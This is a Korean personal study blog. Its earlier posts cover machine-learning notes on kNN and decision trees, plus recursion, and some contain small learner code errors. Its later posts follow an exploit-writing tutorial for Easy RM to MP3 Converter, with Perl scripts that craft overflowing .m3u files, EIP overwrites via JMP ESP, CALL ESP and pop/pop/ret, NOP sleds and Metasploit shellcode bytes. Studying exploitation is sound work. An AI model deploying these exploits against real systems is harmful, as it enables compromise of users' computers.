Computer & Books

이제 전에 얻은 단말 노드의 갯수와 단계의 갯수로 트리 전체를 플롯할 수 있다. def getTreeDepth(myTree):     maxDepth = 0     firstStr = myTree.keys()     secondDict = myTree[firstStr]     for key in secondDict.keys():         if type(secondDict[key]).__name__=='dict':#딕셔너리인지 아닌지 검사             thisDepth = 1 + getTreeDepth(secondDict[key])         else:   thisDepth = 1         if thisDepth > maxDepth: maxDepth = thisDepth     return maxDepth def plotMidText(cntrPt, parentPt, txtString):     xMid = (parentPt[0]-cntrPt[0])/2.0 + cntrPt[0]     yMid = (parentPt[1]-cntrPt[1])/2.0 + cntrPt[1]     createPlot.ax1.text(xMid, yMid, txtString, va="center", ha="center", rotation=30) def plotTree(myTree, parentPt, nodeTxt):#if the first key tells you what feat was split on     numLeafs = getNumLeafs(myTree)  #this determines...

3.2 매스플롯라이브러리 주석으로 파이썬에서 트리 플롯하기 3.2.1 매스플롯라이브러리 주석  매스플롯라이브러리에는 애너테이션이라는 훌륭한 도구를 포함하고 있다. 이 애너테이션은 그려진 플롯 내에 있는 데이터 점들을 설명할 수 있도록 주석을 추가하는 도구이다. 우리는 주석을 이용하여 트리를 플롯하는 데 사용할 것이다. 우리는 텍스트 상자에 색을 칠할 수도 있고 우리가 좋아하는 형태로 변경할 수도 있다. 텍스트 주석을 가진 트리 노드를 플롯하는 함수를 만들어보자. decisionNode = dict(boxstyle="sawtooth", fc="0.8") leafNode = dict(boxstyle="round4", fc="0.8") arrow_args = dict(arrowstyle=" def plotNode(nodeTxt, centerPt, parentPt, nodeType):     createPlot.ax1.annotate(nodeTxt, xy=parentPt,  xycoords='axes fraction',              xytext=centerPt, textcoords='axes fraction',              va="center", ha="center", bbox=nodeType, arrowprops=arrow_args ) def createPlot(inTree):     fig = plt.figure(1, facecolor='white')     fig.clf()     axprops = dict(xticks=[], yticks=[])     createPlot.ax1 = plt.subplot(111, frameon=False, **axprops)   ...

3.1.2 데이터 집합 분할하기 이제 데이터 집합에서 어수선함을 계산하는 측정 방법을 보게 될 것이다. 분류 알고리즘을 작동하기 위해서는 엔트로피를 측정하고 데이터 집합을 분할하며, 분할된 집합의 엔트로피를 측정하고 분할이 올바르게 되었는지 확인해야 한다. def splitDataSet(dataSet, axis, value):     retDataSet=[]     for featVec in dataSet:         if featVec[axis] == value:             reducedFeatVec = featVec[:axis]             reducedFeatVec.extend(reducedFeatVec)             retDataSet.append(reducedFeatVec)     return retDataSet 위 코드에서 .append 와 .extend 는 비슷하지만 완전히 다른 함수이다. 아래의 예제를 보면 이해가 빠를 것이다. 위 분할 함수는 분할하고자 하는 데이터 집합, 분할하고자하는 속성 그리고 반환할 속성의 값을 인자로 갖고 데이터를 분할한다. 이제 데이터 분할 시 가장 좋은 속성을 선택하는 함수를 만들어야한다. def chooseBestFeatureToSplit(dataSet):     numFeatures = len(dataSet[0]) -1     baseEntopy = clacShannonEnt(dataSet)     bestInfoGain = 0.0; bestFeature = -1     for ...

공부를 하다보니 파이썬의 리스트, 튜플, 딕셔너리의 정의나 용도의 혼란이 오기 시작했다. 그래서 정리하려 한다. 1. 리스트  a = [1,2,3,4] 리스트를 만들 때는 위에서 보는 것과 같이 대괄호([ ])로 감싸주고 안에 들어갈 값들은 쉼표로 구분해준다. 리스트는 아무것도 포한하지 않는 빈 리스트일 수도 있고. 리스트 자체를 그 요소로 가질 수도 있다. 즉, 리스트 내에는 어떠한 자료형도 포함시킬 수 있다. 리스트 인덱싱 기본적인 것은 c 언어와 동일하다. 하지만 만약 a= [1,2,3,[4,5,6]] 처럼 리스트 안의 리스트를 갖는 리스트가 존재할 때, a[3] 의 값은 [4,5,6]이다. a[3][1] 의 값은 5 이다. 데이터 핸들링 할 때 많이 쓰이는 것이 a[-1] 이다. a[-1]은 배열의 마지막 값을 가진다. 리스트 슬라이싱 a= "12345" 일 때, a[:2]의 값은 '12'이다. 파이썬은 문자열이 배열 안에 들어가면 자동적으로 슬라이싱된다. a=[1,2,3,4,5] 일 때, a[:]는 12345 모두 출력된다. 슬라이싱에는 : 와 문자열 다루는 법이 c언어와 다르다. 리스트를 더하고 반복하기 a= [1,2,3] 일 때, a*3 의 값은 a=[3,6,9] 가 아니라 a = [1,2,3,1,2,3,1,2,3] 의 값인 반복을 뜻한다. 더하기는 c언어와 같다. 리스트 관련 함수들 append sort reverse index insert remove pop : 히스트의 맨 마지막 요소를 돌려주고 그 요소는 삭제한다. count extend 2. 튜플 리스트는 [] 지만 튜플은 () 이다. 리스트는 그 값을 생성, 삭제,수정이 가능하지만 튜플은 그 값을 변화시킬 수 없다. 덧셈과 곱셈은 되는데, 뺄셈과 나눗셈은 사용할 수 없고(unsupported operand types), list처럼 i...

의사결정 트리는 스무고개와 비슷하다고 한다. 20개의 질문에서 예/아니오로 답해 결론적으로 질문자가 생각하는 답을 추측하는 것이다. 의사결정 트리의 장점 중 가장 좋은 것은 분류 결과를 사람이 쉽게 이해할 수 있다는 것이다. 마지막으로 우리는 분류기를 만들기 위해 재귀를 사용할 것이며, 매스플롯라이브러리를 사용하여 데이터를 표현할 것이다. 3.1 트리 구조 2학기에 자료구조를 배운 나로서는 더 이상 보고 싶지 않은 트리 구조를 마주하게 됐다... 의사결정 트리를 만들기 위해서는 하나의 최초 의사결정을 만들어야한다. 최초 의사결정은 속성으로 결정된다.  일부 의사결정 트리는 데이터를 바이너리로 분할하지만 여기서는 그렇게 하지 않는다. 4 가지 값을 가지는 속성으로 반할하게 되면 , 데이터는 4가지 방법으로 분할된다. 3.1.1 정보 이득 데이터를 분할하기 전과 후의 변화를 정보 이득이라고 한다.  어떤 속성으로 데이터를 분할할 때 가장 높은 정보 이득을 취할 수 있는지를 모든 속성에 대해 확인하며서 분할할 수 있게 된다. 데이터 집합에 대한 정보 측정 방법을 새넌 엔트로피 또 엔트로피라고 한다. l(xi) = log2p(xi) p(xi)는 xi 라는 분류항목이 선택될 확률이다. 여기서 k 는 분류 항목의 개수이다. 파이썬에서 이것을 계산하는 방법을 알아보도록 하자. from math import log def calcShannonEnt(dataSet):     numEntries = len(dataSet)     labelCounts ={}     for featVec in dataSet:         currentLabel = featVec[-1]         if currentLabel not in...

knn을 배워서 책의 필기체 검사하는 코드를 토대로 캐글 101 중 필기체 검사를 해보았다. 결국 혼자의 힘으로는 해내지 못했다.. 아직 파이썬 기술이 많이 부족하다는 것을 깨닫고 캐글에 올라와있는 스크립트 중에 knn을 사용하고 있는 스크립트를 갖고 돌려봤다.. 파이썬이랑 그런지 엄청 오래 걸린다.. 또 다른 스크립트들을 보면서 느낀 건 딥러닝이 너무 우세하다는 것이었다.. from numpy import * import pandas as pd from sklearn.neighbors import KNeighborsClassifier from sklearn.metrics import accuracy_score train_data = pd.read_csv( "C:/Users/llewyn/Downloads/train.csv" ) test_data = pd.read_csv( "C:/Users/llewyn/Downloads/test.csv" ) print ( "train data shape is : " , train_data.values.shape) print ( "test data shape is : " , test_data.values.shape) trainY = ravel(train_data.values[: 10000 , 0 ]) trainX = train_data.values[: 10000 , 1 :] trainX[trainX > 0 ] = 1 print ( "trainX[0] is :" ) print (trainX[ 0 ].reshape(( 28 , 28 ))) validY = ravel(train_data.values[ 40000 : , 0 ]) validX = train_data.values[ 40000 : , 1 :] validX[validX > 0 ] = 1 print ( "validX[0] is :" )...

2.3 예제 : 필기체 인식 시스템 2.3.1 준비 : 이미지를 검사 벡터로 변환하기 32 x 32 로 이루어진 바이너리 이미지를 1 x 1024 벡터로 만들어야한다. 이미지를 하나의 벡터로 만드는 img2vector 함수를 보자. def img2vector(filename):     returnVect = zeros((1,1024))     fr = open(filename)     for i in range(32):         lineStr = fr.readline()         for j in range(32):             returnVect[0,32*i+j] = int(lineStr[j])     return returnVect 2.3.2 검사 : 필기체 번호에 kNN 적용하기 우리는 하나의 형태로 변환된 데이터를 가지게 되었으며, 이 데이터를 분류기로 처리할 수 있게 되었다. 책 소스코드에 있는 handwritingClassTest() 함수를 추가한다. def handwritingClassTest():     hwLabels = []     trainingFileList = listdir('trainingDigits')           #load the training set     m = len(trainingFileList)     trainingMat = zeros((m,1024))     for i in range(m):         fileNameStr = training...

2.2.3 준비 : 수치형 값 정규화하기 서로 다른 범위에 놓여있는 값을 다룰 경우에는 이들을 정규화하는 것이 일반적이다. 정규화 범위는 대개 0에서 1로 정한다. 0에서 1로 모든 것의 크기를 변경하기 위해서는 다음과 같은 공식을 적용해야한다. mewValue = (oldValue - min) / (max- min) autoNorm()이라고 하는 새로운 함수는 자동적으로 데이터를 0과 1 사이의 값으로 정규화하는 함수이다. def autoNorm(dataSet):     minVals = dataSet.min(0)     maxVals = dataSet.max(0)     ranges = maxVals - minVals     normDataSet = zeros(shape(dataSet))     m = dataSet.shape[0]     normDataSet = dataSet - tile(minVals, (m,1))     normDataSet = normDataSet/tile(ranges, (m,1))   #element wise divide     return normDataSet, ranges, minVals 2.2.4 검사 : 전체 프로그램으로 분류기 검사하기 기계학습에서 한 가지 공통된 작업은 알고리즘의 성능을 평가하는 것이다.  성능을 평가하는 한 가지 방법은 현재 가지고 있는 데이터의 일부분, 즉 90% 정도를 가지고 분류기의 학습에 사용하는 것이다. 그런 다음 나머지 10%의 데이터를 가지고 분류기를 검사하여, 분류기의 성능이 어느 정도인지 알아본다. 이제 데이트하기 사이트를 위한 분류기 검사 코드를 볼 것이다. def datingClassTest():     hoRatio = 0.10...

2.2 예제 : kNN을 이용하여 데이트 사이트의 만남 주선 개선하기 2.2.1 준비 : 텍스트 파일의 데이터 구문 분석하기 @ 머신 러닝 인 액션에서 첨부 파일로 준 kNN.py 파일을 아나콘다 -> ipython -> Lib 폴더에 넣어야 ipython에서 import kNN을 할 수 있다.  우선 텍스트 파일에 대해 설명하자면 * 연간 항공 마일리지 수 * 비디오 게임으로 보내는 시간의 비율 * 주당 아이스크림 소비량(L) 로 이루어진 텍스트 파일이다. 이제 numpy 구문 분석 코드에 텍스트 기록하기 코드를 보자 def file2matrix(filename):     fr = open(filename)     numberOfLines = len(fr.readlines())         #get the number of lines in the file     returnMat = zeros((numberOfLines,3))        #prepare matrix to return     classLabelVector = []                       #prepare labels return        fr = open(filename)     index = 0     for line in fr.readlines():         line = line.strip()         listFromLine = line.split('\t') ...

두번째 장에서는 k-최근접 이웃 알고리즘에 대해 공부할 것이다. 이 알고리즘은 분류하는 알고리즘인데 예를 들면, 영화 장르를 나누어 영화를 분류하는 것과 비슷하다고 할 수 있다. 그렇다면 어떻게 장르를 구분할 수 있는가? 영화의 장르가 로맨스라면 이성 혹은 동성간의 사랑에 대한 애틋한 장면 혹은 키스 장면들이 다른 장르보다 많을 것이다. 이와 같이 액션 영화라면 발차기가 로맨스보다 많이 나올 것이다. 이렇듯 키스나 발차기 같은 것들을 판단 기준으로 삼는다면 k-nn 알고리즘을 통해 자동적으로 장르를 분류할 수 있을 것이다.  2.1 거리 측정을 통해 분류 kNN의 동작 원리는 이렇다. 1. 기존에 훈련 집합이었던 예제 데이터 집합이 존재한다. 2. 모든 데이터는 분류 항목 표시(Labels)가 붙어 잇으며, 따라서 각각의 데이터가 어떤 분류 한복으로 구분되는지 알 수 있다.  3. 이후 분류 항복 표시가 붙어 있지 않는 새로운 데이터가 주어졌을 때, 기존의 모든 데이터와 새로운 데이터를 비교한다.  4. 그리고 가장 유사한 데이터의 분류항목 표시를 살펴본다. 이 때, 분류 항목을 이미 알고 있는 데이터 집합에서 상위 k개의 가장 유사한 데이터를 살펴보게 된다. (가까운 거리) 5. 마지막으로 k개의 가장 유사한 데이터들 중 다수결을 통해 새로운 데이터의 분류 항목을 결정하게된다. def classify0(inX, dataSet, labels, k):     dataSetSize = dataSet.shape[0]     diffMat = tile(inX, (dataSetSize,1)) - dataSet     sqDiffMat = diffMat**2    sqDistances = sqDiffMat.sum(axis=1)     distances = sqDistanc...

다시 머신 러닝 공부를 시작하려 한다.  O'REILLY 의 파이썬 데이터 분석 책은 흠.. 그냥 파이썬으로 데이터 프레임 다루는 거랑 pandas의 여러가지 기능들을 소개해놓은 느낌인데 머신 러닝 인 액션에서는 머신 러닝 알고리즘에 대해 하나씩 설명되어 있다. 전자의 책 먼저 하고 후자의 책을 학습하려다가  너무 지루해서 그냥 병행하기로 했다. 두 책 모두 파이썬이라 너무 다행이긴 하다.. 그 전에 썼던 글이랑 중복되는 게 많다.. ---------------------------------------------------------------------------------------------- 올바른 알고리즘 선정 방법 지도학습 방법 분류  :  회귀 K-NN :  선형 회귀 나이브 베이스 : 지역적 가중치가 부여된 선형 회귀 지지 벡터 머신 : 리지 의사결정 트리 : 라쏘 비지도학습 방법 군집화  : 밀도 추정 k-평균 : 기대 극대화 디비스캔 : 파젠 윈도우 위와 같이 이 책에서는 8가지의 알고리즘을 설명하고 있다. 어떤 데이터를 끌어 왔을 때, 그 데이터의 상황에 맞게 알고리즘을 선정해야한다. 목적 값을 예측하거나 예견하려고 한다면 지도학습 방법을 살펴보고, 그렇지 않다면 비지도 학습 방법을 살펴보라. 예를 들면, 목접 값이 예/아니오, 1/2/3, A/B/C 와 같이 이산적인 값이면 분류 방법을 살펴보고 수치 값이라면 회귀를 살펴봐야한다. 그리고 목적 값이 아닌 무리에 알맞은지를 알아보고자 하는 것이라면 군집화를 살펴봐야한다. 솔직히 위의 8가지 알고리즘 중 2가지는 처음 들어봤다. 이제 시작이니 각 장에서 하나하나 제대로 살펴보고 공부해야겠다.

재귀와 완전탐색 우선 재귀 함수에 대해 설명하기 전에 두 코드를 비교해보자. 1. 반복문을 통한 1 부터 n 까지의 합 int sum(int n) {    int ret=0,i;    for(int i=1; i <= n; i++)       ret += i;    return ret; } 2. 재귀 함수를 통한 1 부터 n 까지의 합 int recursiveSum(int n) {    if (n==1) return 1; //더 이상 쪼개지지 않을 때    return n + recursiveSum(n-1); } 모든 재귀함수는 위와 같이 더 이상 쪼개지지 않는 최소한의 작업에 도달했을 때 답을 곧장 반환하는 조건문을 포함해야한다. 이때 쪼개지지 않는 가장 작은 작업들을 가리켜 재귀 호출의 기저 사례 라고 한다. 재귀호출은 1번과 같은 반복문과 그리 큰 차이는 없지만 코딩을 훨씬 간편하게 해줄 수 있다. 재귀 함수는 완전 탐색이라는 무식하게 모두 세는 방식을 사용하여 알고리즘을 짤 때 좋다. 처음에 문제를 파악한 뒤 재귀 함수를 써야한다면 기저 사례를 선택해야한다. 여기서 팁이 있다면, 입력이 잘못되었거나 범위에서 벗어난 경우도 기저 사례로 택해서 처음에 처리하면 함수 호출 과정에서 오류 검사를 할 필요가 없어지기 때문에 속도가 빨라진다. 많이 등장하는 완전 탐색 유형 1. 모든 순열 만들기 서로 다른 N 개의 원소를 일렬로 줄 세운 것을 순열이라고 한다. int factorial(int n) { if (n <= 1) return 1; //위에서 본 기저 사례 return n*factorial(n - 1); } 2. 모든 조합 만들기 서로 다른 N 개의 원소 중에서 R 개를 순서 없이 골라낸 것을 조합이라고 한다. int binco(int n,...

알고리즘 패러다임 공부 시작. 1. 무식하게 푸는 재귀함수를 시작으로 2. 분할정복 알고리즘 ---- 병합 정렬                             ---- 퀵 정렬 3. 동적 계획법 4. 탐욕법 5. 조합 탐색 출처 : 알고리즘 문제해결 전략

앞에서 언급한 대로 공격 코드를 작성하면 왼쪽 그림과 같은 구조를 가지게 된다. 자세한 흐름에 대한 설명은 다음을 참고하길 바란다. ① 버퍼 오버플로우가 발생하여 EIP에 0x7c9739ba (위 그림의 0x01966a10) 주소가 주입 되었다. 이 주소는 MSRMCodec00.dll 안에 존재하는 pop/pop/ret 기계어의 위치를 가리키고 있다. (현재 상태에서 ESP는 NOP의 시작점을 가리킨다) ② 조작된 EIP에 의해 0x7c9739ba 안의 명령이 수행 된다. : POP / POP / RET ③ pop/pop/ret을 통해 ESP 는 쉘코드의 시작점을 가리키게 되고, ret 명령에 의해 ESP 안에 들어가 있던 0x7c836A78  주소(이 주소는 내 컴퓨터의 call esp 주소이고 문서와는 다름)가 EIP로 주입된다. ④ EIP는  0x7c836A78  주소 안에 있는 'JMP ESP' 명령을 수행하게 되고, 프로그램의 흐름은 ESP로 향하게 된다. ESP는 이미 쉘코드를 가리키고 있으므로 우리의 의도대로 쉘코드가 실행 된다. 이제 위에서 작성한 공격 코드로 취약한 m3u 파일을 생성해 실행해 보자. my $file= "test4.m3u"; my $junk= "A" x 26064 ; my $eip = pack('V', 0x7c9739ba ); # MSRMcodec00.dll ??? pop/pop/ret ?? my $jmpesp = pack('V', 0x7c836A78 ); # JMP ESP my $prependesp = "XXXX"; # ESP? ???? ??? ????? my $shellcode = "\x90" x 8; # NOP 8 ??? ?? ?? $shellcode = $shellcode . $jmpesp; $shellcode = $shellcode."\xdb\xc0...

우선, 우리가 알아야 할 것은 pop/pop/ret 을 하기 위한 기계어다. 이 기계어들을 얻기 위해 ollydbg에서 제공하는 어셈블링 기능을 사용할 것이다. 우선 Easy RM to MP3 프로그램에 attach 한 뒤, 2번째 칸의 숫자들이 어셈블리에 대한 기계어들이다. ollydbg에서는 컨트롤 + f 를 눌러 확인해야하지만, 밑에 그냥 표로 만들어져 있는 것을 보는 것이 낫다. POP register 기계어 pop eax    58 pop ebx    5b pop ecx    59 pop edx    5a pop esi     5e pop ebp   5d 이제 우리는 사용 가능한 DLL 중 하나에서 이러한 순서 덩어리를 찾아야 한다. 전에 했던 스택 기반 오버플로우에서 애플리케이션 DLL 과 OS DLL 에 대해 언급했다. 윈도우 플랫폼과 버전에 범용으로 적용될 수 있는 공격 코드를 작성하기 위해 애플리케이션 자체의 DLL을 사용할 것을 추천한다고 말했다. 하지만, 아무리 애플리케이션 자체 DLL이 성공 확률을 높여 준다 하더라도, 매번 수행될 때마다 똑같은 베이스 주소를 가진다는 것을 확신할 수 없다. 때때로, DLL들은 위치가 재조정 되기도 하므로 이러한 상황에서는 OS DLL 중 하나를 사용하는 것이 더 좋을 수도 있다. (예를 들어 user32.dll 또는 kernel32.dll). 지난 장에서 했던 것처럼 우선 Easy RM to MP3 파일을 실행 시키고, windbg로 attach를 해 보자. attach를 하면 windbg는 로드 된 애플리케이션 또는 OS 모듈들을 보여 줄 것이다. 다음과 같이 dll의 목록이 나오는데, 앞 장에서 했던 것처럼 애플리케이션 dll을 찾아보자. (dll 찾는 것은 ollydbg로 아직 할 줄 모른다 ...ㅜ) 가운데를 보면 easy rm to conv...

2.pop/ret 위에서 설명했듯이 Easy RM to MP3 예제에서 우리는 buffer를 임의로 변조했고, ESP가 직접 우리가 작성한 쉘코드를 가리키도록 만들었다. 그렇다면 쉘코드를 가리키는 레지스터가 단 하나도 없다면 어떻게 될까? 이러한 상황에서, 쉘코드를 가리키는 주소는 스택의 어딘가에 담겨 있을 것이다. ESP를 덤프할 때, 처음으로 나오는 주소들을 유의해서 보길 바란다. 만약 이 주소들이 공격자의 쉘코드(또는 제어 가능한 버퍼)를 가리키고 있다면, pop/ret 또는 pop/pop/ret 명령을 통해 다음과 같은 결과를 확인할 수 있을 것이다. - 스택에서 주소를 가져옴 (또는 무시) - 쉘코드로 연결되는 주소로 점프 'pop/ret' 기술은 ESP+offset이 이미 쉘코드를 가리키는 주소를 담고 있을 때만 사용이 가능하다. ESP를 덤프한 다음 쉘코드를 가리키는 녀석이 처음으로 보이는 주소들 중에 존재하는지 확인한 후, EIP로 향하도록 pop/ret (pop pop ... ret) 참조를 입력하도록 한다. 이를 통해 스택에서 주소를 가져오고, EIP 안으로 다음에 수행해야 할 주소를 입력시킬 수 있다. 만일 처음으로 보이는 주소들 중 하나라도 쉘코드를 가리키는 것이 있다면, 공격은 성공적으로 이루어질 수 있다. 'pop/ret' 기술을 사용하는 두 번째 방법도 존재한다. 만약 공격자가 EIP를 제어하려 하는데, 쉘코드를 가리키는 어떠한 레지스터도 존재하지 않지만 때마침 쉘코드가 ESP+8 의 위치에 존재한다고 가정해 보자. 이런 상황에서, 공격자는 ESP+8로 흐름이 가도록 EIP에 pop/pop/ret 명령을 주입 함으로써 공격을 성공시킬 수 있다. 만약 해당 위치에 JMP ESP로 가는 포인터를 삽입한다면, JMP ESP 포인터 바로 오른쪽에 위치한 쉘코드로 점프하게 될 것이다. 실습을 통해 알아보도록 하자. 우리는 EIP를 덮어 쓰기 이전에 26064 바이트를 채워 넣어야 한다는 것을...

바로 전에 포스팅했던 쉘코드를 실행시킬 수 있는 방법들 중 하나를 해볼 것이다. 1. CALL [register] 만약 레지스터에 쉘코드를 직접 가리키는 주소가 로드 되었다면, 쉘코드로 점프하기 위해 단순히 CALL [reg] 를 수행하면 된다. 다시 말해서, ESP가 직접 쉘코드를 가리킨다면(ESP의 첫 번째 바이트가 쉘코드의 첫 바이트와 동일), 'CALL ESP' 주소로 EIP를 덮어쓰기만 해도 쉘코드가 정상적으로 실행이 될 것이다. 이 기법에 쓰이는 kernel32.dll이 많은 CALL [reg] 주소들을 포함하고 있어, 이용 가능한 레지스터들의 범위가 넓고, 꽤 유명한 방식으로 알려져 있다. ESP가 쉘코드를 직접 가리킨다고 가정해 보자. 첫째로, CALL ESP 기계어를 포함하는 주소를 찾아보자. 여기서 findjmp를 이용한다. findjmp를 xp환경에서 다운받아 실행하여야 한다. 사실 ollydbg를 다운받아 리버싱해서 찾아내려고 했지만 실패했다...ㅜ findjmp 프로그램 다운 받았던 곳 http://g0n4k00.tistory.com/57 0x7C736A78 에 call esp 라는 주소가 있는 것을 알아냈다. my $file = "test1.m3u"; my $junk = "\x41" x 26064 ; my $eip = pack('V', 0x7c836A78 ); my $prependesp = "XXXX"; my $shellcode = "\x90" x 25; # 0x90 = NOP $shellcode = $shellcode."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . ...

우리는 첫 번째에서 취약점을 찾고, 이를 이용해 공격을 수행하는 공격 코드를 만드는 연습을 했다. 또한 ESP를 이용해 버퍼의 시작 부분을 임의로 가리키도록 해 공격자가 원하는 행동을 하도록 만들었다. 'JMP ESP'를 사용하는 것은 의심할 여지없이 완벽한 시나리오였다. 하지만 이것이 모든 상황에 적용되지는 않는다. 이번 장에서는 쉘코드를 실행시키거나 점프할 수 있는 몇 가지 다른 방법에 대해 다루고, 또한 버퍼의 크기가 작을 때 적용할 수 있는 차선책에 대해 알아볼 예정이다. 1. 쉘코드를 실행시킬 수 있는 몇 가지 방법 1) JMP or CALL  : 공격자는 쉘코드의 주소를 가진 레지스터를 기본적으로 사용하며, 그 주소를 EIP에 넣어 공격을 하게 된다. (첫번째 참고) 그렇기 때문에 공격자는 애플리케이션이 실행될 때 로딩되는 DLL들 중 하나의 레지스터로 점프 하거나 Call 하는 기계어를 찾아야 한다. 또한 특정 메모리 주소로 EIP를 덮어쓰는 대신 특정 레지스터로 점프 하는 주소를 EIP에 주입할 필요가 있다. 2) pop/return  : 만약 스택의 꼭대기에 있는 값이 공격자가 생성한 버퍼 내에 있는 주소를 가리키지 않지만, 쉘코드를 가리키는 주소가 스택 안에 존재하는 것을 본다면, pop/ret 또는 pop/pop/ret(해당 명령이 스택의 어느 위치에 존재하느냐에 따라 pop의 개수가 달라진다)와 같은 명령을 EIP로 주입함으로써 쉘코드를 로드할 수 있게 된다. 3) PUSH return  : 이것은 'CALL register' 기술과 약간의 차이점만 보이는 방식이다. 만약 공격자가 어디에서도 'JMP register' 또는 'CALL register' 기계어를 찾을 수 없다면 그냥 스택에 주소를 입력하고 ret 처리를 해 주면 된다. 기본적으로 ret이 뒤따라 오는 'PUSH register' 명령을 찾으려 노력해야 한다. 이러한 순서를 가지는...

이제 끝이 거의 다 보인다. 총 11개의 문서가 있는데 올해 안에는 끝났으면 좋겠다.. 목표 드디어 마지막 EIP 에 ESP 주소를 넣어서 계산기를 실행시켜보겠다!! 과정 1.Metasploit은 쉘코드를 만드는데 도움이 되는 페이로드 생성기를 가지고 있다. 또한 페이로드는 다양한 옵션을 가지고 있는데, 경우에 따라 그 크기가 조정될 수도 있다. 넉넉하지 못한 버퍼 공간 때문에 크기에 제한이 있다면 다단계 쉘코드나 해당 OS 용 32바이트 cmd.exe 쉘코드가 필요할 것이다. 또한 쉘코드를 작은 'egg'로 쪼개서 실행 전에 다시 모으는 'egg-hunting' 기술을 사용할 수도 있다. 2. 먼저 계산기 프로그램을 실행하도록 하는 exploit을 만들기로 하고, 이에 해당하는 쉘코드를 Metasploit을 이용해 만들어 보자. metasploit에 내장된 msfpayload를 이용해 페이로드를 생성한다. 자세한 내용은 Metasploit 프로젝트를 참고하길 바란다. 3. pdf 문서와는 좀 다르게 쉘코드가 만들어졌다. 문서에는 콘솔에 msfpayload 명령어를 치라고 해서 쳐봤더니 없는 명령어란다. 그래서 구글링 해봤더니 msfvenom으로 대체됐단다. 그냥 칼리 쉘코드 작성 쳐보니 동기의 블로그가 나왔다.. 13년도에 그냥 심심풀이로 했더구나 ㅠ 또 다시 차이를 느낀다. 동기가 쓴 명령어를 똑같이 따라 썼더니 쉘코드가 나왔다. 동기의 블로그를 보고 더 설명하자면, -b 옵션은 쉘코드에서 저 값을 나오지 않도록 인코딩을 커치는 것이다. 취약점을 이용하여 exploit을 작성할 시 \xff나 \x00 등 문자 때문에 payload가 손상되는 일이 간혹 있다. 저런 문자들을 bad char이라고 한다. bad char이 나오지 않도록 거치는 것이 -b옵션이다. 4. 이제 test를 다시 작성해서 오버플로우를 이용해 계산기를 실행시켜보자. my $file = ...

목표 JMP opcode를 찾아야 한다. *JMP opcode는 어셈블리에서 점프하는 명령어이다. 과정 1. 우리는 'JMP ESP'의 opcode가 무엇인지 이해할 필요가 있다. 이를 확인하기 위해 먼저 Easy RM to MP3를 실행하고, Windbg로 attach 해보자. 2. 프로세스를 선택하고 OK를 누르면 해당 어플리케이션에 의해 로딩된 모든 dll들을 보여준다. 또한 프로세스에 디버거를 attach 하자마자 어플리케이션이 break 된다. 여기까지 완료된 후 Windbg 명령 라인에서 a(assemble) 명령을 입력하고, 그 다음으로 'JMP ESP'를 입력해 본다. 3. 다시 엔터 키를 누르고, ' JMP ESP '를 입력하기 전에 보았던 주소와 함께 u를 입력해 본다. 결과적으로 아래와 같이 7c90120e 옆에 ffe4 를 볼 수 있는데, 이것은 'JMP ESP'의 opcode이다. 4. 이제   우리는 로딩된 dll들 중 하나에서 이 opcode 를 찾을 필요가 있다. Windbg 창의 윗 부분에서 Easy RM to MP3에 속하는 dll을 나타내는 라인들을 찾는다. 5. 아래의 easy RM to MP3 converter파일에 있는 dll을 하나씩 확인하면서 우리가 원하는 opcode가 있는지 찾아보자. (중간 과정은 생략하고 MSRMCcodec00.dll에서 찾은 결과를 가지고 진행하겠다.) 6. MSRMCcodec00.dll의 시작과 끝 주소를 입력해 값들을 알아보자. 7. 우리가 활용할 주소를 선택할 때 null 바이트가 들어가 있지 않은 주소가 필요하다. 앞서 도 말했지만 null 바이트는 종단 문자열이기 때문에 null 바이트 이후의 코드는 쓸모 없는 것이 되기 때문이다. 8. 앞에서 JMP ESP 주소가 null 바이트를 가지고 있으면 안 된다고 언급했다. 하지만 어떤 경우에는 null 바이트...

목표 EIP 가 쉘코드의 시작 주소로 점프도록 하는 것이 좋지 않은 방법이라는 것을 깨달음 (즉, 0x000ff730으로 EIP를 덮어씀) 과정 1. 그럼 이제 간단한 테스트를 해보자. 먼저 26,064개의 A를 입력하고, 000ff730으로 EIP를 덮어쓰며, 그런 다음 25개의 NOP를 입력하고 브레이크, 마지막으로 추가적으로 NOP를 입력한다. 만약 모든 것이 정상이라면 EIP는 NOP를 가지는 0x000ff730으로 점프할 것이다. 그리고 나서, 해당 코드는 브레이크까지 이동하게 된다. my $file = "crash25000_jump.m3u"; my $junk = "\x41" x 26064; my $eip = pack('V', 0x000ff730); my $shellcode = "\x90" x 25; # 0x90 = NOP $shellcode = $shellcode."\xcc"; # 0xcc = Break $shellcode = $shellcode."\x90" x 25; open($FILE, ">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created Successfully \n"; NOP는 no operation, 아무것도 하지는 않으나 EIP 값을 다음 명령줄 코드로 바꿔주는 역할을 하는 명령어이다. 그래서 위의 코드는 25개의 NOP를 지나 CC를 만나 BREAK 될 것이다. 2. 우리는 어플리케이션에 충돌이 발생한 다음 access violation이 아닌 break 발생을 의도했다. EIP를 보면 의도대로 0x000ff730을 가리키고, ESP 또한 그렇다. 하지만 ESP를 덤프해 보면 우리의 예상과 어긋났다는 것을 확인할 수 있다. 3. 여기서 얻은 교훈은 바로 ...

목표  EIP와 ESP 까지의 크기를 알았으니 이제 원하는 값을 ESP와 EIP에 넣어 보자. 과정 1. 길이를 모두 알았으니 test 파일을 수정해보자 my $file = "crash25000_EIP_BBBB.m3u"; my $junk = "\x41" x 26064; my $eip = "BBBB"; my $espdata = "C" x 1000; open($FILE, ">$file"); print $FILE $junk.$eip.$espdata; close($FILE); print "m3u File Created Successfully \n"; 2. EIP에는 42424242가 들어가 있고, ESP에는 43434343이 들어가 있음을 확인할 수 있다. 이제 우리는 EIP를 통제할 수 있게 되었다. esp 가 0x43434343 이라는 것은 두번째로 작성했던 메모리에 대한 설명을 다시 보면 알것이다. 또한 ESP 와 EIP 는 모두 32bits 이므로 BBBB 값과 CCCC 값이 각각 저장되는 것이다. 3. 이쯤에서 버퍼 오버플로우로 인해 스택의 모양이 어떻게 변했는지 확인해보자. 함수가 리턴(ret)할 때 BBBB가 EIP에 들어가게 되고, 프로그램의 흐름은 42424242라는 주소로 이어지게 된다. /*의문점*/ 분명 처음에 ESP는 버퍼의 시작 부분(스택의 꼭대기)을 가리키고 있다고 했는데 이제 보니까 EIP 위에 있는 걸 위 메모리 그림을 보면 알 수 있을 것이다. /*발견*/ 보통 정상적인 메모리의 ESP라면 버퍼의 시작부분을 가리키지만 